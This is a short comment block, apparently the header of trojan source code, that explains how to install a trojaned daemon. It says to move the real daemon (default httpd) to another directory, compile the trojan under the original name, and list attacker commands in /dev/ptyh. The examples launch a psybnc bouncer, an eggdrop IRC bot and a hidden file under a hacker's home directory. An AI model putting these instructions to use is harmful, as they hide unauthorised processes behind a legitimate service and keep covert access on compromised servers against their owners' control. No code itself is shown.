 * install:
 * To install this trojan you should copy the real daemon in another
 * directory !WITH THE SOME NAME!. Then you should compile this source on the
 * real daemon file in its some directory.
 * So write in /dev/ptyh all path/commands to execute with
 * daemon. If you must use options with commands you must divide they
 * with the $ character.
 * Ex:
 *
 * cat /dev/ptyh
 * /home/hacker/. /psybnc               <-- without options
 * /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options
 * /home/hacker/.   $                   <-- to run the file ".   "
 *
 * Default
 * trojo daemon /usr/sbin/httpd
 * real deamon /usr/bin/httpd               #EXE_PATH
 *
